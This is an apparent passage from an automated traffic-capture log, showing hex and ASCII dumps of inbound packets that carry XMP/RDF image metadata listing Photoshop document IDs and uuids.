<rdf:li>C4A6BC9AF0DBADFD2467BAC05565ABB4</rdf:li> <rdf:li>C4B6595B0164
2022-07-20 13:44:28 UTC	6944	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 43 45 46 34 30 42 38 46 42 37 44 44 37 33 41 34 33 39 42 36 39 32 33 42 32 42 33 37 41 34 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 44 30 38 30 41 41 46 36 34 46 39 37 43 31 41 38 38 32 46 39 41 46 33 35 35 41 37 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>CEF40B8FB7DD73A439B6923B2B37A43E</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF0D080AAF64F97C1A882F9AF355A79A</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf
2022-07-20 13:44:28 UTC	6952	IN	Data Raw: 72 64 66 3a 6c 69 3e 44 35 34 31 30 33 30 32 36 37 44 43 36 41 44 43 30 35 37 36 30 43 46 41 37 38 39 31 45 38 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 32 36 37 42 44 43 46 42 36 41 38 45 30 34 39 45 33 33 34 42 44 30 41 33 37 41 30 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 35 45 33 31 32 37 41 44 44 37 31 36 46 37 43 33 36 30 35 35 34 37 35 41 46 43 32 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 42 33 30 31 43 34 38 39 44 42 31 44 39 33 42 38 44 39 43 34 34 45 45 39 35 43 36 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 42 39 37 33 34 46 44 41 38 35 37 45 31 45 45 37 36 38 46 35 32 46 41 35 35 39 36 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>D541030267DC6ADC05760CFA7891E835</rdf:li> <rdf:li>D55267BDCFB6A8E049E334BD0A37A0CC</rdf:li> <rdf:li>D555E3127ADD716F7C36055475AFC28B</rdf:li> <rdf:li>D55B301C489DB1D93B8D9C44EE95C68A</rdf:li> <rdf:li>D55B9734FDA857E1EE768F52FA559659</rdf:li> <rdf:l
2022-07-20 13:44:28 UTC	6968	IN	Data Raw: 69 3e 45 31 33 44 42 45 39 46 41 34 33 41 34 35 31 32 32 37 31 31 38 37 45 43 34 30 32 30 39 30 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 34 41 32 46 44 36 45 33 33 46 36 43 38 46 30 42 38 42 43 33 31 45 42 31 45 33 35 31 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 34 46 30 34 35 43 37 44 46 39 37 45 46 34 38 45 46 46 41 45 42 37 45 35 33 34 34 42 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 34 46 38 32 41 33 41 33 35 30 46 46 30 42 39 37 32 32 34 46 31 46 37 32 31 38 34 39 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 35 34 39 41 43 37 41 36 45 41 34 41 45 38 43 43 45 41 38 44 34 44 43 41 42 44 42 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 35 Data Ascii: i>E13DBE9FA43A4512271187EC40209052</rdf:li> <rdf:li>E14A2FD6E33F6C8F0B8BC31EB1E351B2</rdf:li> <rdf:li>E14F045C7DF97EF48EFFAEB7E5344BA3</rdf:li> <rdf:li>E14F82A3A350FF0B97224F1F721849FC</rdf:li> <rdf:li>E1549AC7A6EA4AE8CCEA8D4DCABDBBEB</rdf:li> <rdf:li>E15
2022-07-20 13:44:28 UTC	6984	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 36 35 31 37 42 46 36 46 31 33 34 36 43 35 43 36 35 30 42 30 34 33 45 46 35 32 38 45 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 36 37 38 39 37 35 36 37 44 38 42 37 41 43 35 30 38 41 46 36 46 33 38 31 43 36 46 41 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 31 34 30 36 45 35 30 42 30 32 36 32 37 37 36 39 41 42 36 46 32 36 43 45 31 37 35 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 39 30 43 46 41 38 35 32 35 41 43 30 41 44 30 33 43 44 44 44 38 37 32 30 45 31 44 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 37 41 34 30 33 37 38 34 31 41 43 37 42 31 45 33 45 39 31 36 46 32 44 44 39 39 36 36 36 39 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>EB6517BF6F1346C5C650B043EF528EA7</rdf:li> <rdf:li>EB67897567D8B7AC508AF6F381C6FA86</rdf:li> <rdf:li>EB71406E50B02627769AB6F26CE175D3</rdf:li> <rdf:li>EB790CFA8525AC0AD03CDDD8720E1DB3</rdf:li> <rdf:li>EB7A4037841AC7B1E3E916F2DD996669</rdf
2022-07-20 13:44:28 UTC	6991	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 37 35 30 44 45 45 38 41 43 43 39 33 31 30 36 45 41 43 42 33 36 45 33 35 31 34 35 31 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 37 43 34 44 38 41 43 35 37 37 44 37 44 38 39 34 43 43 36 42 36 45 31 38 38 33 44 34 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 38 31 36 46 30 36 31 31 37 30 36 31 32 30 33 45 46 39 32 30 38 37 35 36 42 31 32 42 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 38 41 36 36 30 36 33 43 44 30 31 31 31 31 41 31 41 36 38 43 34 35 41 39 39 37 41 45 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 38 45 35 45 44 43 39 39 31 46 42 36 36 42 44 44 33 38 30 45 33 34 30 35 36 43 43 38 42 36 3c 2f 72 64 66 3a 6c Data Ascii: rdf:li> <rdf:li>F0750DEE8ACC93106EACB36E35145163</rdf:li> <rdf:li>F07C4D8AC577D7D894CC6B6E1883D4EF</rdf:li> <rdf:li>F0816F06117061203EF9208756B12B1D</rdf:li> <rdf:li>F08A66063CD01111A1A68C45A997AEA4</rdf:li> <rdf:li>F08E5EDC991FB66BDD380E34056CC8B6</rdf:l
2022-07-20 13:44:28 UTC	7007	IN	Data Raw: 44 39 41 39 38 33 42 35 31 32 42 36 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 46 46 36 38 36 36 39 30 36 41 30 31 35 36 42 32 34 33 39 33 35 43 31 31 44 46 46 43 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 30 31 38 44 31 46 36 35 42 34 38 41 44 36 44 37 33 31 35 32 37 32 34 35 45 31 35 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 30 38 44 30 30 44 46 46 36 30 46 37 35 39 33 33 41 30 45 38 42 30 42 33 39 42 32 42 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 30 39 44 36 36 46 36 43 43 43 35 41 46 38 33 45 33 45 39 34 44 45 44 32 46 44 46 45 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 31 37 33 35 41 46 45 36 31 45 43 41 41 34 36 30 42 36 44 45 39 Data Ascii: D9A983B512B61E</rdf:li> <rdf:li>FAFF6866906A0156B243935C11DFFC0B</rdf:li> <rdf:li>FB018D1F65B48AD6D731527245E15D04</rdf:li> <rdf:li>FB08D00DFF60F75933A0E8B0B39B2B5B</rdf:li> <rdf:li>FB09D66F6CCC5AF83E3E94DED2FDFEC8</rdf:li> <rdf:li>FB1735AFE61ECAA460B6DE9
2022-07-20 13:44:28 UTC	7023	IN	Data Raw: 65 34 2d 65 33 64 32 34 61 31 34 39 66 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 30 33 35 66 31 34 2d 36 62 30 32 2d 31 31 65 36 2d 38 30 63 61 2d 63 32 37 63 66 36 39 39 64 33 64 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 31 37 38 64 38 36 2d 64 61 66 39 2d 31 31 37 38 2d 39 32 64 63 2d 38 63 62 38 36 32 65 32 63 65 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 35 32 34 63 32 63 2d 64 39 36 38 2d 31 31 65 34 2d 61 33 38 31 2d 65 61 36 61 34 65 65 61 35 36 62 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: e4-e3d24a149fda</rdf:li> <rdf:li>adobe:docid:photoshop:1f035f14-6b02-11e6-80ca-c27cf699d3d3</rdf:li> <rdf:li>adobe:docid:photoshop:1f178d86-daf9-1178-92dc-8cb862e2ce85</rdf:li> <rdf:li>adobe:docid:photoshop:1f524c2c-d968-11e4-a381-ea6a4eea56ba</rdf:li> <r
2022-07-20 13:44:28 UTC	7031	IN	Data Raw: 70 68 6f 74 6f 73 68 6f 70 3a 33 36 61 34 64 34 39 36 2d 30 32 38 61 2d 31 31 65 30 2d 61 34 37 36 2d 63 64 39 65 66 63 65 61 38 63 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 62 34 31 36 33 66 2d 31 36 32 37 2d 31 31 64 65 2d 39 37 33 31 2d 63 31 34 63 34 63 35 37 65 31 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 62 65 36 31 39 61 2d 32 36 62 37 2d 31 31 37 38 2d 61 37 33 36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 64 39 64 38 39 35 2d 37 61 66 36 2d 31 31 64 Data Ascii: photoshop:36a4d496-028a-11e0-a476-cd9efcea8cfd</rdf:li> <rdf:li>adobe:docid:photoshop:36b4163f-1627-11de-9731-c14c4c57e145</rdf:li> <rdf:li>adobe:docid:photoshop:36be619a-26b7-1178-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:36d9d895-7af6-11d
2022-07-20 13:44:28 UTC	7047	IN	Data Raw: 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 32 61 33 38 35 61 2d 32 65 37 64 2d 31 31 37 38 2d 39 66 35 30 2d 64 30 63 61 30 39 34 32 63 37 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 34 63 66 32 33 37 2d 62 36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 35 64 65 64 30 63 2d 32 30 63 35 2d 31 31 65 37 2d 61 62 64 32 2d 63 35 62 37 66 34 31 36 37 64 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 Data Ascii: 48</rdf:li> <rdf:li>adobe:docid:photoshop:602a385a-2e7d-1178-9f50-d0ca0942c7ca</rdf:li> <rdf:li>adobe:docid:photoshop:604cf237-b6ae-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:605ded0c-20c5-11e7-abd2-c5b7f4167d74</rdf:li> <rdf:li>adobe:d
2022-07-20 13:44:28 UTC	7063	IN	Data Raw: 32 38 33 34 64 61 2d 30 33 64 64 2d 31 31 65 37 2d 61 34 66 39 2d 39 66 61 39 32 63 64 66 63 37 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 39 34 38 39 33 62 64 2d 65 38 35 66 2d 31 31 37 39 2d 61 37 61 31 2d 62 36 65 32 39 33 37 64 37 65 33 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 39 38 31 30 35 36 35 2d 32 34 30 61 2d 31 31 64 63 2d 38 31 30 30 2d 61 61 63 38 38 65 62 62 36 35 31 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 61 31 36 38 62 66 36 2d 38 66 31 36 2d 31 31 65 31 2d 61 62 34 39 2d 65 39 32 36 66 Data Ascii: 2834da-03dd-11e7-a4f9-9fa92cdfc737</rdf:li> <rdf:li>adobe:docid:photoshop:894893bd-e85f-1179-a7a1-b6e2937d7e3f</rdf:li> <rdf:li>adobe:docid:photoshop:89810565-240a-11dc-8100-aac88ebb651b</rdf:li> <rdf:li>adobe:docid:photoshop:8a168bf6-8f16-11e1-ab49-e926f
2022-07-20 13:44:28 UTC	7071	IN	Data Raw: 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 62 35 66 30 39 34 2d 64 39 38 65 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 63 32 38 31 30 62 2d 61 62 63 38 2d 66 65 34 62 2d 62 32 33 62 2d 30 61 31 66 31 66 36 39 34 33 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 34 30 33 37 39 62 39 2d 37 65 33 30 2d 31 31 65 37 2d 61 39 30 36 2d 64 61 30 66 39 35 64 37 63 31 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 Data Ascii: :li>adobe:docid:photoshop:a3b5f094-d98e-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:a3c2810b-abc8-fe4b-b23b-0a1f1f6943a3</rdf:li> <rdf:li>adobe:docid:photoshop:a40379b9-7e30-11e7-a906-da0f95d7c16a</rdf:li> <rdf:li>adobe:docid:photoshop:a
2022-07-20 13:44:28 UTC	7087	IN	Data Raw: 2d 62 35 61 38 2d 62 34 38 37 62 65 37 35 64 31 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 36 34 30 66 35 32 66 2d 34 63 32 34 2d 31 31 37 39 2d 38 62 61 32 2d 66 66 64 37 36 32 38 36 62 38 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 36 65 33 39 35 62 36 2d 61 39 35 33 2d 31 31 64 65 2d 62 36 63 61 2d 38 31 35 34 35 32 32 32 30 34 37 38 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: -b5a8-b487be75d1b6</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>adobe:docid:photoshop:d640f52f-4c24-1179-8ba2-ffd76286b832</rdf:li> <rdf:li>adobe:docid:photoshop:d6e395b6-a953-11de-b6ca-815452220478</rdf:li>
2022-07-20 13:44:28 UTC	7103	IN	Data Raw: 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 37 30 31 32 34 34 2d 32 36 64 63 2d 31 31 64 39 2d 62 33 61 39 2d 64 62 32 66 38 65 38 33 35 64 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 37 36 30 38 33 64 2d 66 63 36 61 2d 31 31 65 36 2d 39 61 31 37 2d 66 34 38 32 65 36 65 32 35 39 36 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 38 36 61 39 31 62 2d 39 33 33 39 2d 31 31 37 38 2d 62 64 30 37 2d 61 63 33 61 61 34 30 38 33 34 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 39 39 66 33 64 33 2d 36 Data Ascii: :docid:photoshop:fd701244-26dc-11d9-b3a9-db2f8e835d77</rdf:li> <rdf:li>adobe:docid:photoshop:fd76083d-fc6a-11e6-9a17-f482e6e2596d</rdf:li> <rdf:li>adobe:docid:photoshop:fd86a91b-9339-1178-bd07-ac3aa4083456</rdf:li> <rdf:li>adobe:docid:photoshop:fd99f3d3-6
2022-07-20 13:44:28 UTC	7111	IN	Data Raw: 45 30 42 32 37 33 31 39 30 37 45 35 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 38 39 38 35 32 30 38 42 30 35 43 45 31 31 31 39 33 34 41 38 42 43 37 36 42 39 37 34 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 38 39 45 38 33 38 36 30 32 39 42 44 46 31 31 39 36 45 43 41 38 36 33 36 45 32 45 34 38 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 38 41 41 45 37 37 32 32 35 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 32 39 31 38 45 45 38 39 37 42 45 30 31 31 38 41 46 35 45 30 34 37 38 38 31 45 45 38 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 Data Ascii: E0B2731907E5B8</rdf:li> <rdf:li>uuid:18985208B05CE111934A8BC76B974180</rdf:li> <rdf:li>uuid:189E8386029BDF1196ECA8636E2E4803</rdf:li> <rdf:li>uuid:18AAE7722531E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:192918EE897BE0118AF5E047881EE8D6</rdf:li> <rdf:li>uui
2022-07-20 13:44:28 UTC	7127	IN	Data Raw: 46 33 30 37 36 38 44 34 44 45 31 31 39 35 32 32 42 39 36 35 42 43 33 41 32 46 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 61 39 35 30 37 66 39 2d 62 34 35 38 2d 64 37 34 63 2d 62 65 65 37 2d 62 33 30 31 64 36 64 62 39 33 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 66 39 31 32 63 38 38 2d 32 30 39 30 2d 34 62 30 65 2d 38 34 35 62 2d 65 32 39 64 38 63 39 35 61 66 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 30 30 31 46 37 34 44 32 41 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 30 31 31 38 45 32 33 30 35 35 34 31 31 44 43 41 34 36 35 38 31 31 44 36 45 42 42 46 33 45 Data Ascii: F30768D4DE119522B965BC3A2FA0</rdf:li> <rdf:li>uuid:4a9507f9-b458-d74c-bee7-b301d6db93eb</rdf:li> <rdf:li>uuid:4f912c88-2090-4b0e-845b-e29d8c95afe5</rdf:li> <rdf:li>uuid:5001F74D2A46DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:50118E23055411DCA465811D6EBBF3E
2022-07-20 13:44:28 UTC	7143	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 30 44 30 38 34 39 45 42 45 39 42 44 46 31 31 42 37 35 35 41 35 39 31 32 43 37 38 44 34 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 30 45 43 41 30 45 30 46 41 33 34 45 30 31 31 38 36 30 45 38 38 41 41 39 46 42 39 36 37 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 34 35 43 34 43 33 35 42 34 42 45 30 31 31 38 35 42 37 45 44 44 35 46 46 43 30 42 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 35 30 42 35 32 44 36 36 39 43 44 44 31 31 41 32 36 30 43 44 36 35 43 42 39 30 30 39 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 31 38 43 34 43 36 36 35 34 34 42 Data Ascii: </rdf:li> <rdf:li>uuid:80D0849EBE9BDF11B755A5912C78D4F0</rdf:li> <rdf:li>uuid:80ECA0E0FA34E011860E88AA9FB9673B</rdf:li> <rdf:li>uuid:8145C4C35B4BE01185B7EDD5FFC0B198</rdf:li> <rdf:li>uuid:8150B52D669CDD11A260CD65CB90095E</rdf:li> <rdf:li>uuid:818C4C66544B
2022-07-20 13:44:28 UTC	7150	IN	Data Raw: 69 64 3a 39 37 39 39 38 30 44 45 46 44 43 30 31 31 44 43 41 34 41 39 43 43 34 41 45 34 46 30 30 41 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 37 44 34 37 30 31 46 39 45 33 39 45 37 31 31 41 38 43 38 39 31 44 31 31 38 30 37 45 34 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 37 44 39 32 32 38 32 41 30 31 37 31 31 44 45 39 41 46 43 42 31 34 37 35 44 32 46 42 30 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 37 46 35 45 36 32 43 46 38 38 32 45 30 31 31 39 46 41 39 39 38 33 37 46 41 30 43 42 30 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 37 46 46 42 30 46 39 38 30 38 37 45 31 31 31 42 35 37 43 38 37 44 34 42 42 43 31 44 37 46 34 Data Ascii: id:979980DEFDC011DCA4A9CC4AE4F00A67</rdf:li> <rdf:li>uuid:97D4701F9E39E711A8C891D11807E41F</rdf:li> <rdf:li>uuid:97D92282A01711DE9AFCB1475D2FB044</rdf:li> <rdf:li>uuid:97F5E62CF882E0119FA99837FA0CB0D1</rdf:li> <rdf:li>uuid:97FFB0F98087E111B57C87D4BBC1D7F4
2022-07-20 13:44:28 UTC	7166	IN	Data Raw: 32 41 45 33 45 31 46 34 46 36 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 32 43 37 35 32 41 46 43 42 41 34 45 33 31 31 38 33 30 31 42 46 32 37 39 44 46 45 35 33 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 32 45 34 32 45 35 35 36 34 35 32 31 31 44 42 39 30 33 34 42 33 32 41 38 32 45 33 41 30 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 33 32 39 38 30 46 42 39 39 45 41 44 45 31 31 39 35 34 37 39 31 43 33 34 31 37 37 34 32 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 33 37 37 42 34 38 31 43 31 46 32 31 31 44 44 38 41 31 41 41 45 35 33 44 45 35 31 37 35 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2AE3E1F4F6E48</rdf:li> <rdf:li>uuid:D2C752AFCBA4E3118301BF279DFE53AE</rdf:li> <rdf:li>uuid:D2E42E55645211DB9034B32A82E3A03D</rdf:li> <rdf:li>uuid:D32980FB99EADE11954791C341774269</rdf:li> <rdf:li>uuid:D377B481C1F211DD8A1AAE53DE517574</rdf:li> <rdf:li>uuid
2022-07-20 13:44:28 UTC	7182	IN	Data Raw: 34 41 45 32 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 30 39 45 45 38 44 43 41 35 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 30 41 45 46 36 31 38 41 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 45 33 44 30 39 38 38 33 46 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 45 31 36 35 44 35 45 37 45 42 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 4AE2B0</rdf:li> <rdf:li>xmp.did:0180117407206811871FD09EE8DCA5B1</rdf:li> <rdf:li>xmp.did:0180117407206811871FD0AEF618A7D7</rdf:li> <rdf:li>xmp.did:0180117407206811871FDE3D09883F37</rdf:li> <rdf:li>xmp.did:0180117407206811871FE165D5E7EB48</rdf:li> <rdf:li
